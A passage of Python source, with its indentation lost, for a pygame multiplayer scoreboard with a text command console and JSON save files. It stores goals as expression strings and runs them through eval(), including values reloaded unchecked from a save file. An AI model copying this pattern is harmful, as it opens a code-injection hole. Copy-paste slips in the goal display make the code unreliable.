was_pressed_esc = True
is_clicked = True
elif was_pressed_esc and pygame.key.get_pressed()[pygame.K_ESCAPE]:
was_pressed_esc = True
is_clicked = False
else:
was_pressed_esc = False
is_clicked = False
self.surface.fill(color_bg)
for i in range(players):
blit(lang['player_name_desc'].format(num=i+1), font_72, (20+415*(i%3), (i//3) * 100 + 100), surface=self.surface)
temp = self.player_names[i].draw()
if temp is not False:
names[i] = temp
game_config['names'][i] = temp
if self.go_back.smart_draw(self.surface, bkp_pos=bkp_pos) or is_clicked:
if current_ui == 'player_edit':
current_ui = 'pause'
else:
current_ui = 'setup'
if game_conf_file:
with open(game_conf_file, 'w', -1) as file:
file.write(json.dumps(game_config, indent=4, ensure_ascii=True))
class game:
def __init__(self):
self.surface = window
self.game_name = text_field.TextField(800, 90, 460, 65, game_name, font_72, self.surface)
self.player_count = text_field.TextField(800, 160, 460, 65, players, font_72, self.surface, 'int')
self.score_lim = text_field.TextField(800, 230, 460, 65, score_limit, font_72, self.surface, 'int')
self.set_player_names = button.Button(color_board_outline, 20, 300, 400, 65, self.surface, lang['btn_set_player_names'])
self.start = button.Button(color_board_outline, 950, 630, 310, 75, self.surface, lang['btn_save'])
self.go_menu = hyperlink.Hyperlink((0, 0, 0), 10, 0, lang['link_menu'])
self.start_no_file = button.Button(color_board_outline, 585, 630, 350, 75, self.surface, lang['btn_start_no_save'])
self.no_file = button.Button((168, 0, 0), 425, 375, 200, 60, self.surface, lang['btn_continue'])
self.try_again = button.Button(color_board_outline, 655, 375, 200, 60, self.surface, lang['btn_back'])
self.color_index = [color_board_bg, color_red, color_green]
self.command_line = text_field.TextField(10, 660, 950, 50, command, font_cmd, self.surface)
self.cmd_desc = {'score': '§fscore <add|remove|set|limit> ...',
'double': '§fdouble §b<0|6> §6<player: int>',
'rename': '§frename §b<player: int|game> §6<name: str>',
'menu': '§fmenu §c[no_save]',
'file': '§ffile <set|reload|save> ...',
'log': '§flog <add|remove> ...',
'goal': '§fgoal §b<player: int> §f<fixed|relative> ...',
'victory': '§fvictory §b<player: int> §6<value: int>',
'help': '§fhelp'} # the descriptions of the commands
self.set_desc = {'add': '§fscore add §b<player: int|all> §6<amount: int>',
'remove': '§fscore remove §b<player: int|all> §6<amount: int>',
'set': '§fscore set §b<player: int> §6<amount: int>',
'add all': '§fscore add §ball §6<amount: int> §a[<amount: int> for each player in order]',
'remove all': '§fscore remove §ball §6<amount: int> §a[<amount: int> for each player in order]',
'limit': '§fscore limit <set|mode>'} # descriptions of the set subcommands
self.file_desc = {'set': '§ffile set §b[path: str]',
'reload': '§ffile §breload',
'save': '§ffile §bsave'}
self.operator_desc = {'+': lang['operator_plus'],
'-': lang['operator_minus'],
'*': lang['operator_mult'],
'/': lang['operator_div']}
def draw_setup(self):
global game_name
global players
global score_limit
global current_ui
global error_messages
global game_conf_file
global names
global goals
global scores
global victories
global field_colors
global game_config
global max_page
global log_cursor
global is_game_running
global visible_scores
global was_pressed
global was_pressed_esc
self.surface.fill(color_bg)
if not was_pressed_esc and pygame.key.get_pressed()[pygame.K_ESCAPE]:
was_pressed_esc = True
is_clicked = True
elif was_pressed_esc and pygame.key.get_pressed()[pygame.K_ESCAPE]:
was_pressed_esc = True
is_clicked = False
else:
was_pressed_esc = False
is_clicked = False
blit(lang['new_game'], font_96, (640, 10), True, surface=self.surface)
blit(lang['game_name'], font_72, (20, 80), surface=self.surface)
blit(lang['player_amount'], font_72, (20, 150), surface=self.surface)
blit(lang['score_limit_desc'], font_72, (20, 220), surface=self.surface)
error_messages = []
if players < 2:
error_messages.append(lang['err_not_enough_players'])
if players > 18:
error_messages.append(lang['err_too_many_players'])
if score_limit <= 0:
error_messages.append(lang['err_negative_limit'])
if error_messages:
j = 0
for i in error_messages:
blit(i, font_50, (20, j*50 + 370), False, (200, 0, 0), surface=self.surface)
j += 1
temp = self.game_name.draw(fancy_format=False, bkp_pos=bkp_pos)
if temp is not False:
game_name = temp
game_config['game_name'] = temp
temp = self.player_count.draw(bkp_pos=bkp_pos)
if temp is not False:
players = temp
if players % 3:
max_page = players // 3
else:
max_page = players // 3 - 1
game_config['players'] = temp
try:
names[players-1]
game_config['names'][players-1]
except:
names = ['Player'] * players
game_config['names'] = ['player'] * players
temp = self.score_lim.draw(bkp_pos=bkp_pos)
if temp is not False:
score_limit = temp
game_config['score_limit'] = temp
if self.go_menu.smart_draw(self.surface, bkp_pos=bkp_pos) or is_clicked:
current_ui = 'menu'
if self.set_player_names.smart_draw(72, bkp_pos=bkp_pos) and players <= 18:
for i in range(players):
ui_settings.player_names[i].text = names[i]
try:
names[players-1]
game_config['names'][players-1]
except:
names = ['Player'] * players
game_config['names'] = ['player'] * players
current_ui = 'player_setup'
if self.start_no_file.smart_draw(72, bkp_pos=bkp_pos) and not error_messages:
field_colors = [0] * players
scores = [0] * players
visible_scores = [0] * players
goals = ['0'] * players
victories = [0] * players
game_config['log'] = log
game_config['goals'] = goals
game_config['names'] = names
game_config['scores'] = scores
game_config['players'] = players
game_config['victories'] = victories
game_config['game_name'] = game_name
game_config['score_limit'] = score_limit
game_config['limit_mode'] = inverted_victory_mode
is_game_running = True
current_ui = 'game'
if self.start.smart_draw(72, bkp_pos=bkp_pos):
if not error_messages:
game_conf_file = filedialog.asksaveasfilename(defaultextension = '.json', filetypes = [('JSON files', '*.json'), ('All files', '*.*')], title = 'Save game data')
try:
with open(game_conf_file, 'w') as file:
game_config['log'] = log
game_config['goals'] = goals
game_config['names'] = names
game_config['scores'] = scores
game_config['players'] = players
game_config['victories'] = victories
game_config['game_name'] = game_name
game_config['score_limit'] = score_limit
game_config['limit_mode'] = inverted_victory_mode
file.write(json.dumps(game_config, indent=4, ensure_ascii=True))
except:
draw_rect(410, 270, 870, 450, surface=self.surface)
draw_rect(410, 270, 870, 300, color_bg, surface=self.surface)
blit(lang['warn_no_file_title'], font_28, (640, 270), True, surface=self.surface)
blit(lang['warn_no_file_line1'], font_40, (640, 300), True, surface=self.surface)
blit(lang['warn_no_file_line2'], font_40, (640, 330), True, surface=self.surface)
while True:
if self.no_file.smart_draw(60, bkp_pos, (168, 30, 30), (220, 45, 45), (128, 15, 15)):
break
if self.try_again.smart_draw(bkp_pos=bkp_pos):
return
pygame.event.get()
pygame.display.update()
gametick.tick(max_fps)
field_colors = [0] * players
scores = [0] * players
visible_scores = [0] * players
goals = ['0'] * players
victories = [0] * players
is_game_running = True
current_ui = 'game'
def draw_game(self):
global player_page
global log_cursor
global was_pressed
global current_ui
global visible_scores
global is_updating
global was_pressed_esc
if not pygame.key.get_pressed()[pygame.K_LEFT] and not pygame.key.get_pressed()[pygame.K_RIGHT]:
was_pressed = False
# draw the stuff
self.surface.fill(color_bg)
first = player_page * 3
second = player_page * 3 + 1
third = player_page * 3 + 2
score_first = str(int(visible_scores[first]))
try:
score_second = str(int(visible_scores[second]))
score_third = str(int(visible_scores[third])) # these are the player scores as text
except:
pass
if show_progress:
if eval(goals[first]) != 0:
goal_first = str(eval(goals[first]) - victories[first]) + lang['goal_left_ext'] + str(round(victories[first] / eval(goals[first]) * 100, 1)) + '%)'
else:
goal_first = f'{str(eval(goals[first]) - victories[first])}{lang["goal_left"]}'
try:
if eval(goals[second]) != 0:
goal_second = str(eval(goals[second]) - victories[second]) + lang['goal_left_ext'] + str(round(victories[second] / eval(goals[second]) * 100, 1)) + '%)'
else:
goal_second = f'{str(eval(goals[second]) - victories[second])}{lang["goal_left"]}'
if eval(goals[third]) != 0:
goal_third = str(eval(goals[third]) - victories[third]) + lang['goal_left_ext'] + str(round(victories[third] / eval(goals[third]) * 100, 1)) + '%)'
else:
goal_third = f'{str(eval(goals[first]) - victories[first])}{lang["goal_left"]}'
except:
pass
else:
if eval(goals[first]) != '0':
goal_first = str(eval(goals[third]) - victories[third]) + lang["goal_left"]
else:
goal_first = '0'
try:
if eval(goals[second]) != '0':
goal_second = str(eval(goals[second]) - victories[second]) + lang["goal_left"]
else:
goal_second = '0'
if eval(goals[third]) != '0':
goal_third = str(eval(goals[third]) - victories[third]) + lang["goal_left"]
else:
goal_third = '0'
except:
pass
pygame.draw.rect(self.surface, color_board_bg, (10, 10, 1060, 645))
pygame.draw.rect(self.surface, self.color_index[field_colors[first]], (10, 10, 1060, 200))
# draw the text
draw_text_box(names[first], font_info, (120, 31), self.surface)
if show_victories:
draw_text_box(victories[first], font_info, (120, 85), self.surface)
if goals[first] != '0':
draw_text_box(goal_first, font_info, (120, 139), self.surface)
# draw the score
for i in range(len(score_first)):
j = i + 1
self.surface.blit(font_score[score_first[-j]], (1050 - 92 * j, 110 - font_offsets[score_first[-j]]))
try:
pygame.draw.rect(self.surface, self.color_index[field_colors[second]], (10, 210, 1060, 200))
draw_text_box(names[second], font_info, (120, 231), self.surface)
if show_victories:
draw_text_box(victories[second], font_info, (120, 285), self.surface)
if goals[second] != '0':
draw_text_box(goal_second, font_info, (120, 339), self.surface)
# draw the score
for i in range(len(score_second)):
j = i + 1
self.surface.blit(font_score[score_second[-j]], (1050 - 92 * j, 310 - font_offsets[score_second[-j]]))
pygame.draw.rect(self.surface, self.color_index[field_colors[third]], (10, 410, 1060, 200))
draw_text_box(names[third], font_info, (120, 431), self.surface)
if show_victories:
draw_text_box(victories[third], font_info, (120, 485), self.surface)
if goals[third] != '0':
draw_text_box(goal_third, font_info, (120, 539), self.surface)
# draw the score
for i in range(len(score_third)):
j = i + 1
self.surface.blit(font_score[score_third[-j]], (1050 - 92 * j, 510 - font_offsets[score_third[-j]]))
except:
pass
if player_page < 3:
self.surface.blit(font_player_number[str(first + 1)], (45, 80 - font_offsets[str(first + 1)] // 2))
if players > player_page * 3 + 1:
self.surface.blit(font_player_number[str(second + 1)], (45, 280 - font_offsets[str(second + 1)] // 2))
if players > player_page * 3 + 2:
self.surface.blit(font_player_number[str(third + 1)], (45, 480 - font_offsets[str(third + 1)] // 2))
else:
self.surface.blit(font_player_number['1'], (20, 80 - font_offsets['1'] // 2))
self.surface.blit(font_player_number[str(first + 1)[1]], (65, 80 - font_offsets[str(first + 1)[1]] // 2))
if players > player_page * 3 + 1:
self.surface.blit(font_player_number['1'], (20, 280 - font_offsets['1'] // 2))
self.surface.blit(font_player_number[str(second + 1)[1]], (65, 280 - font_offsets[str(second + 1)[1]] // 2))
if players > player_page * 3 + 2:
self.surface.blit(font_player_number['1'], (20, 480 - font_offsets['1'] // 2))
self.surface.blit(font_player_number[str(third + 1)[1]], (65, 480 - font_offsets[str(third + 1)[1]] // 2))
pygame.draw.rect(self.surface, color_board_outline, (10, 10, 1060, 645), 4)
draw_text_box(str(score_limit), font_info, (1175, 610), self.surface)
draw_text_box(game_name, font_info, (970, 660), self.surface)
blit(lang['ui_score_limit'], font_40, (1170, 618), 'back', surface=self.surface)
blit(lang['ui_game_name'], font_40, (970, 622), False, (255, 255, 255), surface=self.surface)
# draw the log
# draw the outline
pygame.draw.rect(self.surface, color_log_fill, (1073, 10, 205, 600), 0, 8)
pygame.draw.rect(self.surface, (255, 255, 255), (1073, 10, 205, 40), 0, 8, 8, 8, 0, 0)
pygame.draw.rect(self.surface, (255, 255, 255), (1073, 570, 205, 40), 0, 8, 0, 0, 8, 8)
pygame.draw.rect(self.surface, color_info_outline, (1073, 10, 205, 600), 3, 8)
# draw the info
blit(lang['ui_log'], font_log, (1175, 20), True, color_log_index, surface=self.surface)
blit(lang['log_len'].format(number=len(log)), font_log, (1175, 577), True, color_log_index, surface=self.surface)
# draw the entries
for i in range(min(len(log) - log_cursor, 10)):
blit(str(i + 1 + log_cursor), font_log, (1079, 65 + 50*i), False, color_log_index, surface=self.surface)
pygame.draw.rect(self.surface, color_log_background, (1095 + 10*(len(str(i + 1 + log_cursor)) - 1), 55 + 50*i, 177 - 10*(len(str(i + 1 + log_cursor)) - 1), 45), 0, 8)
pygame.draw.rect(self.surface, color_log_outline, (1095 + 10*(len(str(i + 1 + log_cursor)) - 1), 55 + 50*i, 177 - 10*(len(str(i + 1 + log_cursor)) - 1), 45), 3, 8)
blit(log[i + log_cursor], font_data, (1100 + 10*(len(str(i + 1 + log_cursor)) - 1), 60 + 50*i), False, (255, 255, 255), surface=self.surface)
if log:
if pygame.key.get_pressed()[pygame.K_DOWN]:
log_cursor += 1
if log_cursor >= len(log):
log_cursor = len(log) - 1
if pygame.key.get_pressed()[pygame.K_UP]:
log_cursor -= 1
if log_cursor < 0:
log_cursor = 0
if pygame.key.get_pressed()[pygame.K_LEFT] and not was_pressed:
player_page -= 1
if player_page < 0:
player_page = max_page
was_pressed = True
if pygame.key.get_pressed()[pygame.K_RIGHT] and not was_pressed:
player_page += 1
if player_page > max_page:
player_page = 0
was_pressed = True
if not was_pressed_esc and pygame.key.get_pressed()[pygame.K_ESCAPE]:
was_pressed_esc = True
ui_settings.blink_time.text = str(blink_time)
ui_settings.game_name.text = game_name
ui_settings.score_lim.text = str(score_limit)
is_updating = False
current_ui = 'pause'
elif was_pressed_esc and pygame.key.get_pressed()[pygame.K_ESCAPE]:
was_pressed_esc = True
else:
was_pressed_esc = False
def process_commands(self):
# gather input
global command
global is_updating # we're not gonna use the text_field's draw() method because we want to see the user typing
global message # the message above the command prompt
global scores
global victories
global names
global score_limit
global game_name
global log
global game_config
global inverted_victory_mode
global current_ui
global is_game_running
global game_conf_file
global players
global goals
global field_colors
global max_page
global log_cursor
process = False
valid = True
if not command:
message = lang['enter_command']
if pygame.event.get(pygame.MOUSEBUTTONDOWN):
if is_updating:
is_updating = False
elif self.command_line.is_over(bkp_pos=bkp_pos):
pygame.event.get()
is_updating = not is_updating
elif pygame.key.get_pressed()[pygame.K_SPACE] and not is_updating:
pygame.event.get()
is_updating = not is_updating
pygame.draw.rect(self.surface, (240, 240, 240), (10, 660, 950, 50))
if is_updating:
command = self.command_line.update()
if command and command[-1] == '§':
command = command[:-1] # invalid character check
self.command_line.text = self.command_line.text[:-1]
if self.command_line.enter:
process = True
else:
fancy_blit.fancy_blit(message, font_msg, (15, 615), self.surface, background_color=color_board_bg)
fancy_blit.fancy_blit(command, font_cmd, (15, 660), self.surface)
pygame.draw.rect(self.surface, (0, 0, 0), (10, 660, 950, 50), int(is_updating) * 2 + 2) # i don't want to set the outline width separately
return
args = command.split(' ')
visible = args.copy()
# colors
if not args[0] in ['score', 'double', 'rename', 'menu', 'file', 'log', 'goal', 'victory', 'help']: # check if the command exists
message = "§fscore|double|rename|menu|file|log|goal|victory|help ..."
visible[0] = '§4' + visible[0]
valid = False
else:
message = self.cmd_desc[args[0]]
if len(args) > 1: # second argument (word)
if args[0] == 'score':
if not args[1] in ['add', 'remove', 'set', 'limit']:
visible[1] = '§4' + visible[1]
valid = False
else:
message = self.set_desc[args[1]]
elif args[0] == 'double': # full command
if args[1] != '0' and args[1] != '6':
visible[1] = '§4' + visible[1]
valid = False
else:
visible[1] = '§3' + visible[1]
try:
int(args[2]) # checks the length of it too
except:
if len(args) > 2:
visible[2] = '§4' + visible[2]
valid = False
else:
if 0 < int(args[2]) <= players:
visible[2] = '§6' + visible[2] + '§7'
else:
visible[2] = '§4' + visible[2]
valid = False
elif args[0] == 'rename': # full command
try:
int(args[1])
except:
success = False
else:
success = 0 < int(args[1]) <= players
if success or args[1] == 'game':
visible[1] = '§3' + visible[1]
if len(args) > 2:
visible[2] = '§6' + visible[2]
else:
visible[1] = '§4' + visible[1]
valid = False
elif args[0] == 'menu': # full command
visible[1] = '§c' + visible[1]
elif args[0] == 'file': # full command
if args[1] in ['set', 'reload', 'save']:
message = self.file_desc[args[1]]
if args[1] in ['reload', 'save']:
visible[1] = '§3' + visible[1] + '§7'
else:
visible[1] = '§0' + visible[1]
if len(args) > 2:
visible[2] = '§3' + visible[2]
else:
visible[1] = '§4' + visible[1]
valid = False
elif args[0] == 'help': # full command
visible[1] = '§7' + visible[1] # this argument is ignored
elif args[0] == 'log': # full command
if args[1] == 'add':
message = '§flog add §b<entry: str>'
visible[1] += '§3'
elif args[1] == 'remove':
message = '§flog add §b<from: int> §6[to: int]'
if len(args) > 2:
try:
int(args[2])
except:
success = False
else:
success = True
if success:
visible[2] = '§3' + visible[2]
if len(args) > 3:
try:
int(args[3])
except:
success = False
else:
success = True
if success:
visible[3] = '§6' + visible[3] + '§7'
else:
visible[3] = '§4' + visible[3]
valid = False
else:
visible[2] = '§4' + visible[2]
valid = False
else:
visible[1] = '§4' + visible[1]
valid = False
elif args[0] == 'goal': # full command
try:
int(args[1])
except:
success = False
else:
success = 0 < int(args[1]) <= players
if success:
visible[1] = '§3' + visible[1] + '§0'
if len(args) > 2:
if args[2] == 'fixed':
message = '§fgoal §b<player: int> §ffixed §6<value: int>'
if len(args) > 3:
try:
int(args[3])
except:
success = False
else:
success = True
if success:
visible[3] = '§6' + visible[3] + '§7'
else:
visible[3] = '§4' + visible[3]
valid = False
elif args[2] == 'relative':
message = '§fgoal §b<player: int> §frelative §6<player: int|most|least> §a[<operation: +|-|/|*> §d<value: float>]'
if len(args) > 3:
try:
int(args[3])
except:
success = False
else:
success = 0 < int(args[3]) <= players
if success or args[3] in ['most', 'least']:
visible[3] = '§6' + visible[3]
if len(args) > 4:
if args[4] in ['+', '-', '*', '/']:
visible[4] = '§a' + visible[4]
if len(args) > 5:
try:
float(args[5])
except:
success = False
else:
success = True
if success:
visible[5] = '§d' + visible[5] + '§7'
else:
visible[5] = '§4' + visible[5]
valid = False
else:
visible[4] = '§4' + visible[4]
valid = False
else:
visible[3] = '§4' + visible[3]
valid = False
else:
visible[2] = '§4' + visible[2]
valid = False
else:
visible[1] = '§4' + visible[1]
valid = False
elif args[0] == 'victory':
try:
int(args[1])
except:
success = False
else:
success = 0 < int(args[1]) <= players
if success:
visible[1] = '§3' + visible[1]
if len(args) > 2:
try:
int(args[2])
except:
success = False
else:
success = True
if success:
visible[2] = '§6' + visible[2] + '§7'
else:
visible[2] = '§4' + visible[2]
valid = False
else:
visible[1] = '§4' + visible[1]
valid = False
if len(args) > 2: # third argument, basically only the score command
if args[0] == 'score':
if args[1] == 'add' or args[1] == 'remove':
try:
int(args[2])
except:
success = False
else:
success = 0 < int(args[2]) <= players
if success or args[2] == 'all':
if args[2] == 'all':
message = self.set_desc[f'{args[1]} all']
else:
message = self.set_desc[args[1]]
visible[2] = '§3' + visible[2]
if args[2] != 'all' and len(args) == 4:
try: # i know it's a bit messy, but no one's gonna read this part anyway =)
int(args[3])
except:
success = False
else:
success = True
if success:
visible[3] = '§6' + visible[3]
else:
visible[3] = '§4' + visible[3]
valid = False
elif len(args) > 3:
for i in range(len(args) - 3):
try: # i know it's a bit messy, but no one's gonna read this part anyway =)
int(args[i + 3])
except:
success = False
else:
success = True
if success:
if not i:
visible[i+3] = '§6' + visible[i+3]
else:
visible[i+3] = '§a' + visible[i+3] + '§7'
else:
visible[i+3] = '§4' + visible[i+3]
valid = False
else:
if len(args) > 3:
visible[3] = '§4' + visible[3]
valid = False
else:
visible[2] = '§4' + visible[2]
valid = False
elif args[1] == 'set':
try:
int(args[2])
except:
success = False
else:
success = 0 < int(args[2]) <= players
if success:
visible[2] = '§3' + visible[2]
if len(args) > 3:
try:
int(args[3])
except:
success = False
else:
success = True
if success:
visible[3] = '§6' + visible[3] + '§7'
else:
visible[3] = '§4' + visible[3]
valid = False
else:
visible[2] = '§4' + visible[2]
valid = False
elif args[1] == 'limit':
if args[2] == 'set':
message = '§fscore limit set §b<value: int>'
if len(args) > 3:
try:
int(args[3])
except:
success = False
else:
success = int(args[3]) > 0
if success:
visible[3] = '§3' + visible[3] + '§7'
else:
visible[3] = '§4' + visible[3]
valid = False
elif args[2] == 'mode':
message = '§fscore limit mode §b<least|most>'
if len(args) > 3:
if args[3] == 'least' or args[3] == 'most':
visible[3] = '§3' + visible[3] + '§7'
else:
visible[3] = '§4' + visible[3]
valid = False
else:
visible[2] = '§4' + visible[2]
valid = False
# draw the text
show = ''
for i in visible:
show = show + i + ' '
sections = show.split('§')
if len(sections[-1]) > 0 and sections[-1][0] in '0123456789abcdef':
color_blinker = fancy_blit.COLOR_INDEX[sections[-1][0]]
else:
color_blinker = (0, 0, 0)
fancy_blit.fancy_blit(message, font_msg, (15, 615), self.surface, background_color=color_board_bg)
fancy_blit.fancy_blit(show, font_cmd, (15, 660), self.surface)
width = font_cmd.size(command)[0]
if game_events.get_events('show_blinker'):
pygame.draw.rect(self.surface, color_blinker, (17 + width, 670, 2, 30))
pygame.draw.rect(self.surface, (0, 0, 0), (10, 660, 950, 50), int(is_updating) * 2 + 2) # i don't want to set the outline width separately
# process
if process and valid:
##print(f'[DEBUG] got command: {args}')
# score command
if args[0] == 'score': ## SCORE COMMAND
if len(args) > 3: # there are always at least 4 arguments in a score command
if args[1] == 'add': ## ADD ARGUMENT
if args[2] == 'all':
try:
args[4]
except:
for i in range(players):
scores[i] += int(args[3])
game_events.add_event(True, 'increase_player', max_fps, i, int(args[3]) / max_fps)
log.append(f'P{i+1}+{int(args[3])}')
log_cursor = max(0, len(log) - 10)
else:
for i in range(players):
scores[i] += int(args[i + 3])
game_events.add_event(True, 'increase_player', max_fps, i, int(args[i + 3]) / max_fps)
log.append(f'P{i+1}+{int(args[i+3])}')
log_cursor = max(0, len(log) - 10)
game_events.add_event(False, 'score_change', max_fps + 10)
else:
scores[int(args[2]) - 1] += int(args[3])
game_events.add_event(True, 'increase_player', max_fps, int(args[2]) - 1, int(args[3]) / max_fps)
game_events.add_event(False, 'score_change', max_fps*(5 if voice else 0.5))
log.append(f'P{int(args[2])}+{int(args[3])}')
log_cursor = max(0, len(log) - 10)
narrate(lang['narrator_add_points'].format(amount=args[3],player=names[int(args[2]) - 1]))
elif args[1] == 'remove': ## REMOVE ARGUMENT
if args[2] == 'all':
try:
args[4]
except:
for i in range(players):
scores[i] -= int(args[3])
game_events.add_event(True, 'increase_player', max_fps, i, -int(args[3]) / max_fps)
log.append(f'P{i+1}-{int(args[3])}')
log_cursor = max(0, len(log) - 10)
else:
for i in range(players):
scores[i] -= int(args[i + 3])
game_events.add_event(True, 'increase_player', max_fps, i, -int(args[i + 3]) / max_fps)
log.append(f'P{i+1}-{int(args[i+3])}')
log_cursor = max(0, len(log) - 10)
game_events.add_event(False, 'score_change', max_fps + 10)
else:
scores[int(args[2]) - 1] -= int(args[3])
game_events.add_event(True, 'increase_player', max_fps, int(args[2]) - 1, -int(args[3]) / max_fps)
game_events.add_event(False, 'score_change', max_fps*(5 if voice else 0.5))
log.append(f'P{int(args[2])}-{int(args[3])}')
log_cursor = max(0, len(log) - 10)
narrate(lang['narrator_take_points'].format(amount=args[3],player=names[int(args[2]) - 1]))
elif args[1] == 'set': ## SET ARGUMENT
scores[int(args[2]) - 1] = int(args[3]) # won't be smooth
game_events.add_event(False, 'score_change', max_fps*(4 if voice else 0.5))
log.append(f'P{int(args[2])}={int(args[3])}')
log_cursor = max(0, len(log) - 10)
narrate(lang['narrator_set_points'].format(amount=args[3],player=names[int(args[2]) - 1]))
elif args[1] == 'limit': ## LIMIT ARGUMENT
if args[2] == 'set':
score_limit = int(args[3])
log.append(f'SL={int(args[3])}')
log_cursor = max(0, len(log) - 10)
narrate(lang['narrator_set_limit'].format(value=args[3]))
elif args[2] == 'mode':
if args[3] == 'least':
inverted_victory_mode = False
log.append('LM=LEAST')
log_cursor = max(0, len(log) - 10)
narrate(lang['narrator_limit_mode_least'])
else:
inverted_victory_mode = True
log.append('LM=MOST')
log_cursor = max(0, len(log) - 10)
narrate(lang['narrator_limit_mode_most'])
else:
print(lang['err_incomplete_command'].format(command=command))
elif args[0] == 'double': ## DOUBLE COMMAND
if len(args) > 2:
if args[1] == '0':
log.append(f'{int(args[2])}E0')
log_cursor = max(0, len(log) - 10)
victories[int(args[2]) - 1] += 1
game_events.add_event(True, 'blink', max_fps*blink_time - max_fps//2 + 1, int(args[2]) - 1, 2)
narrate(lang['narrator_end_0'].format(name=names[int(args[2]) - 1]))
elif args[1] == '6':
log.append(f'{int(args[2])}E6')
log_cursor = max(0, len(log) - 10)
for i in range(players):
if i != int(args[2]) - 1:
scores[i] += 50
game_events.add_event(True, 'increase_player', max_fps, i, 50 / max_fps)
game_events.add_event(True, 'blink', max_fps*blink_time - max_fps//2 + 1, i, 1)
narrate(lang['narrator_end_6'].format(name=names[int(args[2]) - 1]))
game_events.add_event(False, 'score_change', max_fps*(6.5 if voice else 0.5))
else:
print(lang['err_incomplete_command'].format(command=command))
elif args[0] == 'rename':
try:
if args[1] == 'game':
game_name = command[12:]
log.append(f'GN={args[2]}')
log_cursor = max(0, len(log) - 10)
narrate(lang['narrator_rename_game'].format(new_name=command[12:]))
else:
if players < 10:
names[int(args[1]) - 1] = command[9:]
log.append(f'P{int(args[1])}N={command[9:]}')
log_cursor = max(0, len(log) - 10)
narrate(lang['narrator_player_rename'].format(player=args[1], new_name=command[9:]))
else:
names[int(args[1]) - 1] = command[10:]
log.append(f'P{int(args[1])}N={command[10:]}')
log_cursor = max(0, len(log) - 10)
narrate(lang['narrator_player_rename'].format(player=args[1], new_name=command[9:]))
except:
print(lang['err_incomplete_command'].format(command=command))
elif args[0] == 'menu':
log.append('exit')
if game_conf_file and len(command) < 6: # if there's a save file and no_save wasn't specified:
game_config['log'] = log
game_config['goals'] = goals
game_config['names'] = names
game_config['scores'] = scores
game_config['players'] = players
game_config['victories'] = victories
game_config['game_name'] = game_name
game_config['score_limit'] = score_limit
game_config['limit_mode'] = inverted_victory_mode
with open(game_conf_file, 'w') as config_file:
config_file.write(json.dumps(game_config, indent=4, ensure_ascii=True))
current_ui = 'menu'
elif args[0] == 'file':
if len(args) > 1:
if args[1] == 'set':
if len(args) > 2:
game_conf_file = command[9:]
log.append(f'F={game_conf_file}')
log_cursor = max(0, len(log) - 10)
narrate(lang['narrator_set_save'].format(new_file=game_conf_file))
else:
temp = filedialog.asksaveasfilename(defaultextension = '.json', filetypes = [('JSON files', '*.json'), ('All files', '*.*')], title = 'Save game data')
if temp:
game_conf_file = temp
log.append(f'F={game_conf_file}')
log_cursor = max(0, len(log) - 10)
narrate(lang['narrator_set_save'].format(new_file=game_conf_file))
if args[1] == 'save':
game_config['log'] = log
game_config['goals'] = goals
game_config['names'] = names
game_config['scores'] = scores
game_config['players'] = players
game_config['victories'] = victories
game_config['game_name'] = game_name
game_config['score_limit'] = score_limit
game_config['limit_mode'] = inverted_victory_mode
with open(game_conf_file, 'w') as config_file:
config_file.write(json.dumps(game_config, indent=4, ensure_ascii=True))
narrate(lang['narrator_save_game'])
if args[1] == 'reload':
try:
with open(game_conf_file, 'r', -1, 'utf-8') as file:
game_config = json.load(file)
except FileNotFoundError:
return
try:
game_name = game_config['game_name']
except KeyError:
game_name = '<error>'
try:
log = game_config['log']
except KeyError:
log = []
try:
goals = game_config['goals']
names = game_config['names']
scores = game_config['scores']
players = game_config['players']
victories = game_config['victories']
score_limit = game_config['score_limit']
inverted_victory_mode = game_config['limit_mode']
except KeyError:
print('File error: some of the critical values were not found, cannot proceed')
return
if players % 3:
max_page = players // 3
else:
max_page = players // 3 - 1
field_colors = [0] * players
narrate(lang['narrator_reload_save'])
elif args[0] == 'help':
print(command_help)
narrate(lang['narrator_help_printed'])
elif args[0] == 'log':
if len(args) > 2:
if args[1] == 'add':
log.append(command[8:])
log_cursor = max(0, len(log) - 10)
narrate(lang['narrator_add_log'].format(entry=command[8:]))
elif args[1] == 'remove':
if len(args) > 3:
del log[int(args[2])-1 : int(args[3])]
narrate(lang['narrator_remove_log_range'].format(start=args[2], finish=args[3]))
else:
del log[int(args[2]) - 1]
narrate(lang['narrator_remove_log_single'].format(number=args[2]))
else:
print(lang['err_incomplete_command'].format(command=command))
elif args[0] == 'goal':
if len(args) > 3:
if args[2] == 'fixed':
goals[int(args[1]) - 1] = args[3]
log.append(f'{args[1]}G={args[3]}')
log_cursor = max(0, len(log) - 10)
narrate(lang['narrator_set_fixed_goal'].format(player=names[int(args[1]) - 1], goal=args[3]))
elif args[2] == 'relative':
if len(args) > 3:
if args[3] == 'most':
goals[int(args[1]) - 1] = 'max(victories)'
elif args[3] == 'least':
goals[int(args[1]) - 1] = 'min(victories)'
else:
goals[int(args[1]) - 1] = f'victories[{int(args[3]) - 1}]'
if len(args) > 5:
goals[int(args[1]) - 1] = 'int(' + goals[int(args[1]) - 1] + args[4] + args[5] + ')'
if args[3] in ['least', 'most']:
log.append(f'{args[1]}G=[{args[3].upper()}]{args[4]}{args[5]}')
else:
log.append(f'{args[1]}G=[{args[3].upper()}]{args[4]}{args[5]}')
if args[3] == 'least':
narrate(lang['narrator_set_goal_relative_lowest'].format(player=names[int(args[1]) - 1], operation=self.operator_desc[args[4]], value=args[5]))
elif args[3] == 'most':
narrate(lang['narrator_set_goal_relative_highest'].format(player=names[int(args[1]) - 1], operation=self.operator_desc[args[4]], value=args[5]))
else:
narrate(lang['narrator_set_goal_relative_player'].format(player=names[int(args[1]) - 1], target=names[int(args[3]) - 1], operation=self.operator_desc[args[4]], value=args[5]))
else:
log.append(f'{args[1]}G=[{args[3].upper()}]')
if args[3] == 'least':
narrate(lang['narrator_set_goal_lowest'].format(player=names[int(args[1]) - 1]))
elif args[3] == 'most':
narrate(lang['narrator_set_goal_highest'].format(player=names[int(args[1]) - 1]))
else:
narrate(lang['narrator_set_goal_player'].format(player=names[int(args[1]) - 1], target=names[int(args[3]) - 1]))
log_cursor = max(0, len(log) - 10)
else:
print(lang['err_incomplete_command'].format(command=command))
elif args[0] == 'victory':
if len(args) > 2:
victories[int(args[1]) - 1] = int(args[2])
log.append(f'{args[1]}V={args[2]}')
log_cursor = max(0, len(log) - 10)
narrate(lang['narrator_set_victory'].format(player=names[int(args[1]) - 1], value=args[2]))
else:
print(lang['err_incomplete_command'].format(command=command))
command = ''
self.command_line.text = ''
is_updating = False
return
